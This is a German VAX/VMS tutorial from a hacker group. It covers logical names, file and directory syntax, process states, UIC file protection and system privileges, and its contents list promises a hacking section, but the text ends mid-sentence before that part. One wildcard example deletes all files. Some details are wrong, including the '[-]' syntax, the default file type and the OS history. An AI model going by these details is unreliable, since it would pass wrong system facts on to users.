__ __ __ .-----.--.--.----.| |.--.--.--| |.-----.--| | .-----.----.-----. | -__|_ _| __|| || | | _ || -__| _ |__| _ | _| _ | |_____|__.__|____||__||_____|_____||_____|_____|__|_____|__| |___ | by l0om - member of excluded-team |_____|
VAX/VMS
Guide
Dieser
Text ist ein Praxisorientierter Einstieg zum VAX/VMX Betriebssystem und damit
verbundenen Themen wie der Arbeitsweise von VAX/VMX, Digital Command Language
und aus VAX entstehenden Sicherheitsfragen.
Entstanden
ist diese Dokumentation aus dem „knowhow“ des Schreibers und recairgen aus dem
Internet. Es ist nicht gerade ein leichtes einen guten Text fuer VAX Einsteiger
zu bekommen- besonders nicht in Deutsch. Daher habe ich mich entschieden dieses
Tutorial zu schreiben. Schliesslich moechte ich niemandem zumuten sich extra ein
VAX Buch zu kaufen (wir sind doch alle ANTI-NONPD!!), oder sich muehsam alle
Informationen zusammen zusuchen.
Im
Anschluss an eine kurze Einleitung ueber die Entstehungsgeschichte von VAX
werden wir uns mit dem System etwas vertraut machen indem wir uns etwas Praxis
aneignen. Anschliessend werden wir tiefer und tiefer in die Details gehen, um so
einen guten Gesamtueberblick ueber VMS zu bekommen. Der Leser soll in die Lager
versetzt werden sich gut auf jedem DCL Prompt zurechtzufinden und wird nicht nur
wissen wie etwas funktioniert, sondern warum.
Der
Text ist im Prinzip in zwei Teile geteilt:
1)
Benutzen
eines VMS Rechners und
2)
Hacking
im bezug auf VMS.
Im
ersten Teil werden wir uns auf das VAX OS stuerzen. Wir werden uns ansehen
wie/warum VMS Funktioniert. Das umfasst pikante Merkmale des Betriebssystems
sowie dessen Handhabung/Administration ueber ein Terminal.
Der
zweite Teil wird sich mit den Sicherheitsaspekten von VMS befassen. Es werden
Schwaechen aufgezeigt um so typische Schwaechen zu
vermeiden.
1.0 Typisch
VMS
1.1
Geschichtliches
1.2
Logische
Namen
1.3
Dateien,
Verzeichnisse und Geraete
1.4
Virtueller
Speicher
1.5
Prozessverwaltung
1.6
Benutzer,
Gruppen und Zugriffsrechte
1.7
DCL
1.8
DECnet
2.0 Jetzt
wird’s interaktiv (praxis am Terminal)
2.1
Arbeiten
mit Dateien und Verzeichnissen
2.2
Editieren
2.3
Drucken
von Texten
2.4
Elektronische
Post
2.5
Logische
Namen
2.6
Dateischutz
2.7
VMS
den Prozess machen
2.8
Remote
3.0 Hacking
VMS
3.1
OS
Detection und mehr Informationen
3.2
Passwort
Attacken
3.3
Exploiting
3.4
Viren
und Wuermer
3.5
Backdoors
3.6
Logging
1.0 Typisch
VMS
Was
ist VMS eigentlich auf den Punkt gebracht? Die Antwort liegt auf der Hand, denn
VMS ist ein Betriebssystem wie auch Windows, Linux oder BeOS. Ein Betriebssystem
ermoeglicht dem Benutzer ueberhaupt mit dem Computer arbeiten zu koennen, indem
es vielfaelltige Dienste und komplexe Verwaltungsaufgaben uebernimmt.
Beispielsweise koennen Benutzer auf VMS einen Text schreiben und diesen
abspeichern- die Verwaltung des Tasterturtreibers und der Auslastung im
Arbeitsspeicher uebernimmt das Betriebssystem ohne das der Benutzer es merkt.
Sicherlich waere der Benutzer mit der einfachen Eingabe eines Textes nicht
zufrieden. Schliesslich soll der Text auch noch auf Rechtschreibfehler
ueberprueft werden (bei dem Versuch diesen Text zu Korrigieren bekam der Author
die Fehlermeldung das nicht genuegend Arbeitsspeicher dafuer vorhanden waere).
Fuer solche Aufgaben bietet ein Betriebsystem viele unterschiedliche Programme.
Das ganze wuerde sich in die Laenge ziehen wenn das Betriebssystem nicht mehrere
Prozesse gleichzeitig Verwalten koennte.
All
solche Aufgaben wie bzw. der Arbeitsspeicher Verwaltung wird unter VMS vom Kern
(oder Kernel) erledigt. Der Kern ist tatsaechlich der Kern des Betriebssystems,
ohne den nichts funktionieren wuerde. Der Kernel arbeitet Hand in Hand mit der
Hardware des Computers zusammen und bildet so, eine „Schicht“ um die Hardware.
Wenn
der Kern ein Mantel um die Hardware ist, dann sind die einzelnen Programme wie
die „terminal utilities“ ein weiterer Mantel um den Kernel. Ohne solche
Programme wie die genannten, kann ein Benutzer nichts mit dem System anfangen.
Je nach Anforderungen an das System ist bestimmte Software installiert, die dem
Benutzer das Arbeiten ermoeglicht.
Das
Terminal ist ein Kommandointerpret, der die Benuztereingabe behandelt und so
gewuenschte Programme aufruft. Ausserdem ist das Terminal ebenfalls ein
Interpret der Terminal-Sprache. Auf diese werden wir gegen Ende des Textes
kommen. Mit dieser Skriptsprache werden wir in die Lage versetzt, oft anfallende
Aufgaben mit einem Aufruf der Skriptdatei zu erledigen. Das Terminal arbeitet
mit DCL (Digital Command Language), einer Zeilenorientrierten Befehlssprache.
VMS
ist ein Multiuser System. Das bedeutet, dass sich mehrere Benutzer zur gleichen
Zeit am System anmelden koennen und zur gleichen Zeit arbeiten koennen.
VMS
ist Multitasking faehig und ist somit in der Lage mehrere Programme gleichzeitig
ablaufen zu lassen. So kann jeder Benutzer viele Prozesse ausfuehren. So kann bsw. Benutzer A eine E-Mail
schreiben waehrend Benutzer B gerade einen Text verfasst.
VMS
ist in der Lage mit virtuellen Speicheradressen zu arbeiten und hat so 4
Gigabyte an virtuellen Speicher zur Verfuegung. OpenVMS ist im kommen! Daher
bezieht sich dieser Text auch auf OpenVMS.
Die
folgenden Informationen sind von theoretischer Natur. Wir werden in folgenden
Kaptiteln zur Praxis uebergehen. Von der Praxis aus kann man so einfach
zurueckblaettern (scrolen) um sich die dazugehoerige Theorie nochmals vor Auge
zu fuehren.
1.1
Geschichtliches
Der
Kuerzel VMS steht fuer Virtual Memory System und wurde 1976 veroeffentlicht als
ein neues Betriebssystem fuer die damals entwickelten VAX (Virtual Address
eXtension) Computer. Diese Computer arbeiten mit einem virtuellen
Arbeitsspeicher (oder Virtuelle Adressen) der ein 32bit System nutzt. Das gibt
dem VAX in Verbindung mit VMS (VAX/VMS) die moeglichkeit auf 4 Gigabyte
virtuellen Speichers zuzugreifen. Wie das im einzelnen von statten geht, werden
wir spaeter sehen.
Das
erste VAX Model war wohl der 11/780 und wurde „Star“ genannt. Daraus wurde
„Starlet“- ein Name an den noch die System librarys erinnern
(STARLET.OLB).
Die
erste Funktionstuechtige VAX/VMS Version 1.0 wurde 1978
fertiggestellt.
Wenn wir hier
ueber VMS sprechen darf ein Begriff nicht fehlen- OpenVMS. OpenVMS wurde
urspruenglich von HP und der Digital Equiqment Corporation (DIGITAL) entwickelt.
Zwei der bekanntesten Entwicklern sind wohl Dave Cutler und Dick Hustvedt.
OpenVMS wurde fuer einen PDP-11 mit einem virtuellen Adressraum von 32bit
geschreiben. VAX und VMS machte Geschichte in dem es das erste System war
welches von der Hardware bis zur Software von Grund auf zusammen entwickelt
wurde. So wurde die Software genau auf die Hardware abgestimmt und umgekehrt. So
gab es Teams die fuer die Hardware Entwicklung des VAX verantwortlich waren und
wieder andere fuer die Entwicklung des VMS.
OpenVMS
ist ein 32bit, multitsking, multiprocessing virtual memory Betriebssystem und
laeuft auf VAX Systemen von HP oder andern Herstellern. Es gibt bereits OpenVMS
Alpha welche mit 64-bit arbeitet.
„Today,
OpenVMS is the most flexible and adaptable operating system on the planet. What
started out as the concept of “Starlet” in 1975 is moving into Galaxy for the
21st Century. And like the universe, there is no exit in
sight.”
--Jesse
Lipeon
Vice
President of UNIX and OpenVMS Systems Buisness Unit
1.2
Logische Namen
Logische
Namen sind ein wichtiger Bestandteil des VMS. Das Betriebssystem arbeitet
durchgehend mit logischen Namen. Einige davon sind bsw. SYS$ROOT,
SYS$MANAGER oder DISK$FLOP. Mit
logischen Namen kann man sich zum einen viel Schreibarbeit ersparen und zum
anderen das System sehr flexible lassen. So kann man anstatt
[.users.loom.bin]my_ls.exe einen logischen Namen difinieren wie B$LS (wobei das
$ nicht zwanghaft angefuegt werden muss- es zeugt aber von gutem Styl vor dem $
eine wage Andeutung auf Funktion oder Ort anzugeben). Anstatt ich also den
gesamten Pfad angebe, gebe ich nur den logischen Namen an. Dieser wird aus der
Tabelle dafuer zustaendigen Tabelle herausgesucht und uebersetzt. Mit logischen
Namen kann man anstatt der Bezeichnung DUA0: einfach eine Bezeichnung wie
FESTPLATTE1 verwenden. Jeder Benutzer der sich auf einem System angemeldet hat,
hat ein eignes Home-Directory. Dieses Standard-Verzeichnis ist bei jedem
Benutzer mit dem logischem Namen SYS$HOME difinirt. So kann man anstelle von
DUA0:[USERS.LOOM] auch mit SYS$HOME auf sein Verzeichnis zugreifen.
Zum
anderen ist dadurch viel flexibilitaet gewaehrleistet. So werden in
Systemskribts oft nur logische Namen verwendet. Der Administrator koennte ohne
schwierigkeiten z.B. den Ordner [.SYSEXE] umbenennen solange der logische Name
auf den neuen Verzeichnisnamen verweist. Systemskribte wuerden immer noch ihre
Arbeit tuen. Das war vielleicht nicht gerade das beste Beispiel. Fuer *NIX
kenner – ein logischer Name Aehnelt einem Symbolischem
Link!
Ein
anderer logischer Name der sehr oft Verwendung findet ist z.B. SYS$OUTPUT.
Dieser Name legt fest, wo die Ausgabe des Rechners erscheinen soll. Standard ist
natuerlich ein Terminal wie TTA1, TTA2 oder TTA3. Wenn wir diesen logischen
Namen aber z.B. auf eine Datei in einem beschreibbarem Verzeichnis zeigen
lassen, werden die Daten die wir normalerweise auf dem Bildschirm sehen, in die
Datei geschrieben (ich hoffe dieses Beispiel macht das Prinzip klar).
Bei
weiteren Ueberlegungen wird einem klar, dass logische Namen unterschiedliche
Geltungsbereichte haben. So ist der logische Name den ein 08/15 Benutzer
difiniert nicht fuer das Betriebssystem von Bedeutung. Aehnlich wie logische
Namen die in Skriptdateien verwendet werden und nur fuer den ablaufenden Prozess
von Bedeutung ist.
Einige
logische Namen sollen fuer Benutzer gelten. Diese werden vom Systembetreuer
difiniert und manche sollen nur fuer einen einzelnen Benutzer gelten. Darueber
hinaus gibt es moeglichkeiten logische Namen fuer bestimmte Benutzergruppen zu
difinieren.
Um
all diesen Anforderungen gerecht zu werden, gibt es unter VMS Tabellen (tables),
in denen logische Namen verzeichnet sind. Der Gueltigkeitsbereich eines
logischen Namens haengt nur davon ab, in welcher Tabelle er sich befindet.
Logische Tabellen haben Namen wie:
LNM$PROCESS_TABLE - Tabelle fuer aktuellen
Prozess.
LNM$JOB_28900382 - Tabelle fuer bestimmten
Job
LNM$GROUP_000500 - Tabelle fuer Benutzergruppe
000500
LNM$SYSTEM_TABLE - Tabelle mit logischen Namen
Systemweit.
Logische
Namen die sich in der SYSTEM_TABLE wiederfinden, werden bei der Namensvergabe
bsw. mit dem vorrangehenden Kuerzel SYS$ markiert. Wenn man einen logischen
Namen aufloesen will, wird Tabelle nach Tabelle auf den angegebenen Namen
durchsucht.
Einige
wichtige und immer vorhandene logische Namen aus der
Systemtabelle:
Logischer
Name
Beschreibung
DBG$INPUT
Input Datenstrom fuer den Debugger
DBG$OUTPUT
Output Datenstrom fuer den Debugger
SYS$COMMON
Geraet- und Verzeichnisname des Stammverzeichnisses
SYS$ERRORLOG
Geraet- und Verzeichnisname der Errorlog Dateien
SYS$EXAMPLES
„
mit System examples
SYS$HELP
„
mit HELP Dateien
SYS$INSTRUCTION
“
mit Systeminstruktionen
SYS$LIBRARY
„
mit systemlibraries
SYS$MANAGER
“
mit Manager Dateien
SYS$MESSAGE
„
mit Systemnachrichten
SYS$NODE
Hostname falls DECnet aktiviert ist
SYS$STARTUP
Verzeichnis mit Startdateien
SYS$SYSDEVICE
Geraet- und Verzeichnisname des VMS Systems.
SYS$SYSROOT
Root-Verzeichnis
SYS$SYSTEM
Verzeichnis mit wichtigen Systemdateien/Programmen
SYS$UPDATE Verzeichnis
oder Geraet mit Updatedateien
1.3
Dateien, Verzeichnisse und Geraete
Bei
der Menge an Daten die ein Betriebssystem Verwalten muss, kommen Verzeichnisse
gerade richtig. Diese Sorgen fuer einen einfacheren und sauber strukturierten
Ueberblick ueber Dateien. So werden Systemprogramme in einem Verzeichnis
gespeichert wo sich alle Systemprogramme befinden. Ausserdem ermoeglichen
Verzeichnisse dem Benutzer ebenfalls einen besseren Ueberblick. So kann eine
Gruppe von Benutzern die an einen Projekt arbeiten alle Daten die mit dem
Projekt in Verbindung stehen einfach in einen Ordnet mit dem Namen „Projekt“
verschieben. Das ersparrt Suchen und verschafft
Ueberblick.
Wie
auch unter allen anderen Betriebsystemen kann man bei VMS die
Verzeichnisstruktur wie einen Baum sehen. Nur steht unser Baum auf dem Kopf. Am
Anfang des Baumes ist die Wurzel (engl. Root) die mit dem Logischen Namen
SYS$DEVICE angesprochen werden kann. Diese ist die Systemplatte auf der das
Betriebssystem liegt und die auch Bentuzerdaten enthaelt. Die Wurzel „SYS0“
enthaelt NUR Verzeichnisse und keine Dateien.
[SYS0]
|
|
...|-----------------------|...
|
|
[.SYSEXE] [.SYSMGR]
Diese
Kleine Abbildung zeigt uns den Anfang unseres Baumes. SYS0 ist die Systemplatte
auf der sich Verzeichnisse befinden wie zB. SYSEXE oder SYSMGR. Anstatt auf das
SYS0 Verzeichnis zuzugreifen, kann man ebenfalls den Geraetenamen der
Festpalatte angeben wie bsw. „DUA1“.
Systemverzeichnisse wie SYSEXE die die Systemprogramme beinhalten haben
alle einheitliche logische Namen, wie SYS$SYSTEM. Wir werden hier einige
Beispiele vortragen.
Logischer
Name Name des
Subdirectorys Inhalt
SYS$MANAGER
[.SYSMGR]
Dateien, die Ueblicherweise vom
Systembetreuer
erstellt oder
Ausgewertet
werden.
SYS$SYSTEM
[.SYSEXE]
Programme des Betriebssystems.
SYS$UPDATE
[.SYSUPD]
Befehlsprozeduren als Hilfs-
Mittel fuer den
Systembetreuer
(u.a. fuer updates
oder fuers
System).
SYS$HELP
[.SYSHLP]
Bibliotheken mit HELP-Texten.
Ein
weiteres Verzeichniss welches in der Regel im Verzeichnissbaum vorkommt ist
[.USERS]. In diesem Verzeichnis werden Die Home-directorys der einzelnen
Benuzter Verwaltet.
Was
dem Leser wohl auffaellt ist der „.“ vor einem Verzeichnisnamen. Das haengt
damit zusammen, das DCL nur volle Dateipfade akzeptiert. Der Punkt vor den
Verzeichnisnamen ist eines der Sonderzeichen die in Verbindung mit
Verzeichnissen unter VAX auftreten.
Zeichen
Bedeutung
[-]
das „darunterliegende“ Verzeichnis
[...]
alle „Ebenen“ abwaerts
[000000]
stellvertretend fuer das Wurzelverzeichnis (o.
root)
[Verzeichnis...] angegebenes Verzeichnis und seine
Sub-Verzeichnisse
[.Sub-Verzeichnis]
Sub-Verzeichnis des der aktuellen „Ebene“ auf der man
sich befindet.
So
steht [.SYSMGR] fuer SYS$ROOT:[.SYSMGR]. So kommen wir auf einen korrekten
Systemaufrufspfad:
DISK$FLOP:[Verzeichnis]datei.end;1
Der
Geraetename wird ueblich von einem logischen Namen dargestellt. So fallen die
Kryptisch anmutenden Bezeichnungen viel leichter. Der Geraetename kann auch fuer
einen remote-host stehen. In diesem Fall muessen aber zwei Doppelpunkte
folgen!
Ein
Verzeichnis steht IMMER in eckigen Klammern „[]“, gefolgt von dem
Dateinamen.
Jeder
Dateiname hat einen Dateitypen. Weiter unten werden die haeufigst gebrauchten
genannt.
Nach
dem Semikolon folgt die Versionsnummer der Datei (siehe weiter
unten).
Jede
Datei unter VMS hat einen Namen (wer haette das gedacht?), eine Versionsnummer
und eine Dateiendung. Wenn keine Dateiendung angegeben wird, wird automatisch
der Datentyp .LIS erstellt. Unter Unix wird nur eine Datentypendung angefuegt,
wenn diese vom Benutzer angegeben wurde.
Generelle
Datentypen:
DAT
– Data Dateien
DIR
– Sub-Verzeichnis
EXE
– Ausfuehrbare Datei
HLP
– Texte fuer Help
LIS
– System Listing files (TYPE, PRINT, PHOTO)
LOG
– batch job ausgaben
MEM
– DSR ausgabe
RNO
– DSR quelltext
SIXEL
– SIXEL Grafiken
SYS
– System Datei
TJL
– Trouble Journal
TMP
– Auslagerungsdatei
TXT
– Textdatei
UAF
– User Autorization file
Mail
Datentypen
DIS
– Distribution Datei
MAI
– Mail Message
TXT
– Mail Ausgabe
Editor
Datentypen
EDT
– Command Datei fuer den EDT editor
JOU
– EDT Informationen wenn Probleme auftreten
TPU
– Editor command Datei
Programmierungs
Datentypen
ADA
– ADA quelltext
BAS
– Basic quelltext
B32
– BLISS-32 quelltext
C
– C quelltext
COB
– Cobol quelltext
FOR
– Fortran quelltext
MAR
– Marcro quelltext
PAS
– Pascal quelltext
PLI
– PL/I quelltext
OBJ
– Objektdatei die vor dem Linken vom Compiler erstellt
wird
Ebenfalls
neu fuer Unix Benutzer ist das Prinzip der Versionsnummern. Wenn man eine Datei
ansprechen moechte muss dies wie folgt geschehen:
$
TYPE TEXT.TXT;2
Hier
wird mittels TYPE der Inhalt der Datei TEXT.TXT Version 2 auf dem Bildschirm
ausgegeben. Jedesmal wenn man TEXT.TXT modifiziert wird automatisch eine neue
Versionsnummer kreiert. Dabei bleibt die alte Datei vorhanden. Wenn man also
nur
$
DELETE TEXT.TXT
eingeben
wuerde, wuerden wir eine Fehlermeldung erhalten, da nicht angegeben wurde,
welche Version der Datei TEXT geloescht werden soll.
$
DELETE TEXT.TXT;2
Hier
der richtige Aufruf des DELETE Programms/Befehls.
So
kommen wir auch direkt zu den Metazeichen unter VMS.
Zeichen
Bedeutung
Beispiel
„*“
steht fuer beliebige
1) DELETE TEXT.TXT;*
Zeichenkette
2) DELETE *.TXT;*
3) DELETE *.*;*
„%“
steht fuer EIN belib-
4) DELETE TEXT.TXT;%
iges Zeichen
5) DELETE %EXT.TXT;1
1:
Loescht alle Versionen der Datei TEXT.TXT
2:
Loescht alle TXT Dateien (und Versionen)
3:
Loescht alle Dateien und Versionen
4:
Loescht alle Versionen der Datei TEXT.TXT
5:
Loescht alle TXT Dateien welche nach dem ersten Buchstaben
mit
EXT.TXT enden (nur die erste
Version).
Kommen
wir noch kurz auf Geraete zu sprechen. Beispiele fuer
Geraete:
-Festplattenlaufwerke DJ, DA, DU ...
-Diskettenlaufwerke
DX, DY, DU ...
-Magnetbandgeraete
MT, MU...
Diese
Geraete werden mit weiteren Zeichen naeher gekennzeichnet, z.B. DUA0, DUA1,
$1$DUA1. In der Regel verzichtet man auf diese unueberlichtlichen Bezeichnungen
und verwendet stattdessen logische Namen. Ein ausgeschriebener Geraetename
besteht aus drei Teilen:
1:
Der Geraetetyp der das Benennt (bsw. Ein TE16 Mangnetlaufwerk traegt den
Geraetetyp MT, mache Festplatte DB).
2:
Ein Wert der die Schnittstelle identifiziert mit welcher das Geraet verbunden
ist.
3:
Die Geraetenummer.
Wie
bereits erwaehnt kann man Geraete entweder direkt mit ihrem physikalischem Namen
ansprechen oder ueber einen zuvor difinierten logischen Namen. Der physische
Name ist wie folgt anzugeben:
AABC
AA
= Stellt einen Geraetetyp dar.
B = Zeigt die Schnittstelle an. Diese
werden uebrigends mit A – Z nummeriert.
C = Geraetenummer- dieser Wert muss
zwischen 0-65355 liegen.
Bsw:
MTU0:
1.4Virtueller
Speicher
Eigentlich
hat unsere Arbeit am System nicht viel mit dem Prinzip des virtuellen Speichers
zu tun, aber da dieses Kapitel „Typisch VMS“ heisst, wollen wir etwas naeher auf
dieses Thema zu sprechen kommen.
Jeder
User mit etwas Programmiererfahrung weiss ungefaehr was passiert, wenn ein
geschriebenes Programm Ausgefuehrt wird. Nehmen wir an der Programmierer hat ein
Programm geschrieben welches zwei Zahlen addieren soll. Bei der Ausfuehrung des
Programms, werden diese beiden Zahlen in den Arbeitsspeicher geladen. Ausserdem
wird die Funktion die die Addition ermoeglicht geladen. Der CPU greift durch
Adressangaben auf den Arbeitsspeicher zu. Mit Hilfe dieser Informationen aus dem
Arbeitsspeicher kann der CPU rechnen und das Ergebnis der Addition in einen
weiteren Platz in den Arbeitsspeicher laden.
Unter
VMS (Virtual Memory System) ist das Prinzip der virtuellen Speicherverwaltung
wie folgt realisiert:
Virtueller
Adressraum und Hauptspeicher sind in sogenannte Seiten aufgeteilt. Eine Seite
(Page, im Memory auch als Page-frame bezeichnet) besteht aus 512
Bytes.
Zur
Laufzeit eines Programms werden virtuelle Adressen in physikalische uebersetzt.
Die entsprechenden Informationen gibt es fuer jede Page. Sie stehen in den
sogenannten Page Tables. Jeder Eintrag (page table entry) enthaelt die
Informationen, wo sich eine bestimmte virtuelle Page physikalisch befindet.
Diese werden bei VMS in Prozessbereiche und Systembereiche geteilt (Prozess Page
Tables, System Page Tables).
Jeder
Prozess hat seinen eigenen Prozessbereich und seine eigene Prozess Page Table.
Die Uebersetztungsinformationen fuer Adressen im Prozessbereich ist somit nur
fuer einen Prozess gueltig. Dagegen sind die Adressen im Systembereich fuer alle
Prozesse gleichermassen gueltig.
Die
System Page Table werden beim Start von VMS im Boot-Vorgang aufgebaut. Die
Prozess Page Table eines Prozesses wird beim Erzeugen des Prozesses angelegt.
Ihr Inhalt aendert sich bei jedem Aufruf eines Programms. Beim Aufruf eines
Programms wird die Prozess Page Table mit Informationen fuer dieses Programm
gefuellt. Diese Informationen sind am Anfang der Programmdatei enthalten. Die
Informationen in der Prozess Page Table werden beim Verlassen des Programms
wieder geloescht.
1.5Prozessverwaltung
Ein
Prozess ist ein ablaufendes Programm. Jede Aktivitaet wird in Form eines
Prozesses verwaltet. Auch das Betriebssystem selbst unterhaelt eine Reihe von
Prozessen.
Alle
Prozesse konkurrieren natruelich um den Arbeitsspeicher und die CPU Aktivitaet.
Leider kann sich der CPU auch nicht dritteln (oder fork()en) und kann nur
Prozess um Prozess abarbeiten. Doch trotzdem schafft er es mehrere Prozesse
„gleichzeitig“ auszufuehren. Wie ist das moeglich? Mit
Scheduling!
Ein
Aktiver Prozess braucht nicht durchgehend die CPU. Beispielsweise kann ein
Programm auf ein bestimmtes Ereignis warten, wie z.B. eine Benutzereingabe. Man
spricht von drei „festen“ Zustaenden:
1:
CURRENT (CUR): Der Prozess wird momentan von der CPU
abarbeitet
2:
COMPUTABLE (COM): Wartet auf die CPU.
3:
SLEEP: Wartezustand eines Prozesses auf ein bestimmtes Ereignis.
Der
Prozess benoetigt zur Zeit keine Rechenleistungen.
Damit
die Sache auch nicht zu einfach wird, gibt es wie erwartet eine ganze Reihe von
Wartezustaenden. Die wichtigsten sind hier aufgefuehrt:
Zustand Bedeutung
Erklaerung
LEF (local event
flag wait) Der Prozess wartet
auf ein Ergebnis wie
eine Ein- oder Ausgabe.
HIB
(hibernated)
Der Prozess befindet wartet auf Arbeit.
Haeufig bei Systemprozessen.
SUSP (suspended)
Der Prozess wurde unterbrochen (z.B.
von andern Prozessen der diesen steuert)
PFW (page
fault wait) Der
Prozess wartet darauf, dass ein Page
Fault behandelt wird, also benoetigte
Seiten in den Arbeitsspeicher geladen
Werden.
MWAIT (miscellaneous
resource Der Prozess wartet auf bestimmte System-
wait)
resourcen.
Es
fragt sich nun noch in welcher Reihenfolge Prozesse abgearbeitet werden. Dafuer
verwendet VMS Prioritaeten. Eine Prioritaet befindet sich im Stellenwert von
0-31. Je hoeher dieser Wert desto ehr befasst sich die CPU damit. Die
Prioritaeten sind wie immer eingeteilt in normale Prioritaeten (0-15) und
zeitkritischen Prioritaeten (16-31).
Normale
Prozesse werden in Punkto Prioritaeten von VMS gesteuert. Das heisst also das
VMS je nach ermessen dem Prozess einen Wert zwischen 0-15 zuteilt. Das
Scheduling (das hin und her springen von Prozess von Prozess der CPU) wird durch
Zeitverschiebungsverfahren berwerkstelligt.
Aufgaben
des Betriebssystems haben natuerlich vor dem Benutzerprozess vorrang. Somit
bekommen Systemprozesse eine hoehere Prioritaet und werden dadruch schneller
abgearbeitet. Systemprozesse befinden sich oftmals im HIB Zustand.
1.6Benutzer,
Gruppen und Zugriffsrechte
Wie
wir bereits erfahren haben, ist VMS ein Multiusersystem. Das bedeutet das viele
Benutzer an einem System gleichzeitig arbeiten koennen. Daher muss
gewaehrleistet werden, dass nicht ausversehen oder absichtlich Dateien
beschaedigt oder geloescht werden. Es muss ausserdem sichergestellt sein, dass
ein Bentuzer nur die Daten lesen darf die fuer ihn bestimmt sind. Bei einem
Betriebssystem wie MS-DOS gibt es keine beschraenkungen in Form von
Zugriffsrechten, aber dort gibt es auch nur einen aktiven Benutzer. Wenn sich
aber bei Systemen wie VMS um die 40 Benutzer aktiv sind, muss man sicher seien
koennen, dass nicht aus Zufall das gesamte System beschaedigt
wird.
Der
Ausgangspunkt fuer Zugriffsrechte ist die Tatsache, dass jeder Benutzer einer
eindeutige Kennung und ein geheimes Passwort hat. Einen Benutzernamen gibt es
nur einmal und dieser hat ein Passwort welches unbekannt ist (auch fuer den
Administratoren). Das Passwort dient als Identifikation des Benutzers. So wird
sichergestellt, dass der momentan angemeldete Benutzer auch der ist fuer den man
ihn haelt.
Der
naechste Schritt ist, dass jedem Benutzer eine Datei zugeordnet wird. Das
bedeutet, dass derjenige der die Datei erstellt hat auch gleichzeitig Besitzer
(owner) der Datei ist. Der Besitzer der Datei hat selbstverstaendlich alle
Befugnisse um an der Datei zu Arbeiten. Desweiteren kann der Besitzer
Zugriffsrechte fuer diese Datei an andere verteilen.
Manchmal
ist es sinnvoll, bestimmte Dateien nicht nur von einem Benutzer les- oder
schreibbar zu machen. Dieser Fall tritt haeufig bei Projektarbeiten auf, wenn
mehrere Leute mit verschiedenen Kennungen auf gemeinsame Dateien zugreifen
muessen.
Eine
moeglichkeit waere es die Datei fuer ALLE Benutzer des Systems zugaenglich zu
machen. Man spricht bei solchen Berechtigungen von „world“- also alle. Das hat
den Nachteil, dass eventuell bestimmte Benutzer die an diesen Dateien nichts zu
verlieren haben mal schnell einen hastigen Blick drauf verlieren
koennen.
Die
manchmal bessere Moeglichkeit sind die sogenannten Bentuzergruppen. Solch eine
Gruppe besteht aus einer Reihe von Benutzern. Die Zugriffsrechte der man der
Datei vergibt, gellten dann nicht nur fuer einen einzelnen Benutzer, sondern
fuer alle Benutzer die Mitglieder der Gruppe sind.
Es
gibt die folgenden Rechte zu vergeben:
Recht
Beschreibung
READ Das
Recht den Dateiinhalt zu lesen
WRITE Das Recht
den Dateiinhalt zu veraendern
DELETE Das Recht die
Datei zu loeschen
EXECUTE Das Recht eine Datei
auszufuehren
Man
kann die Rechte vergeben an
Zugriffsbefugte Moegliche
Befugnisse
SYSTEM READ,
WRITE, DELETE, EXECUTE
OWNER
READ, WRITE, DELETE, EXECUTE
GROUP
READ, WRITE, DELETE, EXECUTE
WORLD
READ, WRITE, DELETE, EXECUTE
In
der Praxis sehen Berechtigungen aus wie etwa: „(S:RWED,O:RWED,G:RE;W)“.
Hier
hat „SYSTEM“ sowie der Besitzer alle Rechte (Standart). Die Gruppe in der sich
der Bentuzer befindet, hat jedoch nur das Recht zum lesen und ausfuehren der
Datei. Der Schluessel „W“ steht fuer „world“ und gibt an welche Rechte
diejenigen haben die weder Besitzer noch in der Gruppe des Besitzers sind (also
„Fremde“). Hier im Beispiel geht „W“ leer aus. Geschuetzt werden koennen/muessen
Dateien, Verzeichnisse, Geraete und Warteschlangen. Das Schutzkonzept ist immer
gleich.
Das
jetzige Prinzip des Datenschutzes wird auch UIC (User Identification Code)
bezeichnet. Jeder Benutzer des VMS hat eine eindeutige ganz zahlige
Kennung.
[REMOTE,LOOM]
Hier
ist REMOTE der Gruppenname in dem sich der Benutzer LOOM befindet. Wenn ein
Benutzer auf eine Datei zugreifen moechte wird zunaechst seine UIC mit der UIC
der Datei verglichen. Moegliche Konstilationen sind wie
folgt:
Benutzer Datei
Benutzerkategorie
[REMOTE,HAVOC]
[REMOTE,LOOM]
GROUP
[REMOTE,LOOM] [REMOTE,LOOM] OWNER
[1,110]
[REMOTE,LOOM]
SYSTEM
[PUB,BEER] [REMOTE,LOOM] WORLD
Ein
Benutzer ist in der Gruppe SYSTEM vertreten wenn dieser eine UIC von einem
Oktalwert von 0-10 hat. Ein Benutzer der Gruppe SYSTEM kann auf alles zugreifen,
da er selbst die Privilegien veraendert.
Also
ueberprueft VMS zunaechst einmal welche Zugriffsrechte benoetigt werden. Danach
vergleicht VMS den UIC des Benutzers mit dem in der Datei und ueberprueft in
welche Benutzerkategorie der Benutzer faellt. Als letztes wird ueberprueft ob
diese Kategorie die erforderlichen Zugriffsrechte hat. Der letzte Schritt faellt
bei dem Privileg BYPASS weg. Der Zugriff ist immer
berechtigt.
Es
liegt auf der Hand, dass solch ein Prinzip alleine viel zu einfach waere. Daher
gibt es zusaetsslich zu den Zugriffsrechten Privilegien.
Normal:
MOUNT - kann Mountfunktionen (ACP)
aufrufen
NETMBX - kann Netzwerkfunktionen
bentuzen
TMPMBX - kann eine Mailbox
erstellen.
Group:
GROUP - Kontrolle ueber Prozesse
aus der selben Gruppe
GRPPRV - Zugang zur
Gruppe
Devour:
ACNT -
ALLSPOOL
–
GUBCHK - kann bug-check log-Dateien
veraendern
EXQUOTA -
GRPNAM - kann einen logischen Namen in
die gruppen Tabelle einfuegen
PRMCEB -
PRMGBL -
PRMMBX -
SHMEM - kann neue Objekte im
Speicher loeschen oder hinzufuegen
System:
ALTPRI - kann Prioritaeteswerte
veraendern
OPER - hat Zugriff auf
OPERATOR Funktionen
PSWAPM - kann den swapmode
veraendern
SHARE - kann Geraete die nicht
public sind public machen
SYSLCK - kann Systemresourcen
verschliessen
WORLD - kann alle Prozesse
veraendern
File:
DIAGNOSE
– kann Geraete diagnostizieren
SYSGBL -
VOLPRO - kann ueber volume-Schutz
hinwegschreiben
All:
BYPASS - umgeht das UIC
Checking
CMEXEC
- kann den Modus zu exec
veraendern
CMKRNL - kann den Kernel
veraendern
DETACH -
LOG_IO -
PFNMAP -
PHY_IO -
READALL - kann alles lesen
SECURITY
– kann Secruity veraendern durch Zugriff auf Funktionen
SETPRV - kann Priveligen setzen
(root)
SYSNAM - kann in die logische Tabelle
System eintraege hinzugfuegen
SYSPRV - hat SYSTEM Priveligen
(root)
Seine
Privilegien kann man sich mit
$
